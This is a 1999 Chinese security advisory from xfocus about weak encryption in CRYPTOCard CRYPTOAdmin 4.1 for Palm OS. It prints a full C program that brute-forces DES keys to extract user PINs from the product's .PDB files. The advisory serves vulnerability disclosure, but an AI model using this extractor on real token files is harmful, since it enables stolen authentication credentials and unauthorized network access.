xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

CRYPTOCard CRYPTOAdmin 4.1加密方法不牢固


发布时间:1999-12-01
更新时间:1999-12-01
严重程度:
威胁程度:本地管理员权限
错误类型:设计错误
利用方式:服务器模式

受影响系统
CRYPTOCard CRYPTOAdmin 4.1 FOR Palm Palm OS 3.3
详细描述
CRYPTOCard CRYPTOAdmin 4.1是用于掌上电脑操作系统平台上的网络鉴定应用软件,CRYPTOAdmin生成一个包含用户名,PIN号码,系列号及加密或明文方式的KEY的.PDB文件,其中的PIN号码由于其软件使用4字节的KEY生成器可以轻易被截获,通过存取.pdf文件和PIN号码,恶意用户就有能力复制并通过其他的PALM设备访问网络。

测试代码
FOR UNIX的攻击代码:
<--- cut here --->

#include<stdio.h>
#include<des.h>

int main(int argc, char **argv)
{
        des_cblock in,out,key,valid = {0x63, 0x6A, 0x2A, 0x3F,
                                     0x25, 0x6D, 0x67, 0x6C};
        des_key_schedule sched;
        unsigned long massaged;
        FILE *pdb;
                
        if (argc == 1)
        {
                fprintf(stdout, "\nUsage: %s <.PDB filename>\n\n", argv[0]);
        return 1;
        }      

        fprintf(stdout, "\nCRYPTOCard PT-1 PIN Extractor\n");
        fprintf(stdout, "kingpin@atstake.com\n");
        fprintf(stdout, "@Stake L0pht Research Labs\n");
        fprintf(stdout, "http://www.atstake.com\n\n");
        
        if((pdb = fopen(argv[1], "rb")) == NULL)
        {
                fprintf(stderr, "Missing input file %s.\n\n", argv[1]);
                return 1;
        }
        
        fseek(pdb, 189L, SEEK_SET);
        if (fread(in, 1, 8, pdb) != 8)
        {
                fprintf(stderr, "Error getting ciphertext string.\n\n");
                return 1;
        }
        
        fclose(pdb);
                
        key[4] = 0x24;
        key[5] = 0x7E;
        key[6] = 0x3E;
        key[7] = 0x6C;

        for (massaged = 0; massaged < 900000000; massaged += 9)
        {
                key[0]=(massaged>>24) & 0xff;
                key[1]=(massaged>>16) & 0xff;
                key[2]=(massaged>>8) & 0xff;
                key[3]=(massaged) & 0xff;

                des_set_key(&key,sched);
                des_ecb_encrypt(&in,&out,sched,DES_DECRYPT);
        
                if (memcmp(out, valid, 8) == 0)
                {
                        fprintf(stdout, "\n\nPIN: %d", massaged/9);
                break;
                }

                if ((massaged % 900000) == 0)
                {
                fprintf(stdout, "#");
                fflush(stdout);
                }
        }

        fprintf(stdout, "\n\n");
        return 0;
}

<--- cut here --->

另外:WINDOWS版本的测试程序可以到下面的站点去查找:
http://www.L0pht.com/~kingpin
这个站点也是大家可以浏览观察一番的站点

解决方案
目前尚无

相关信息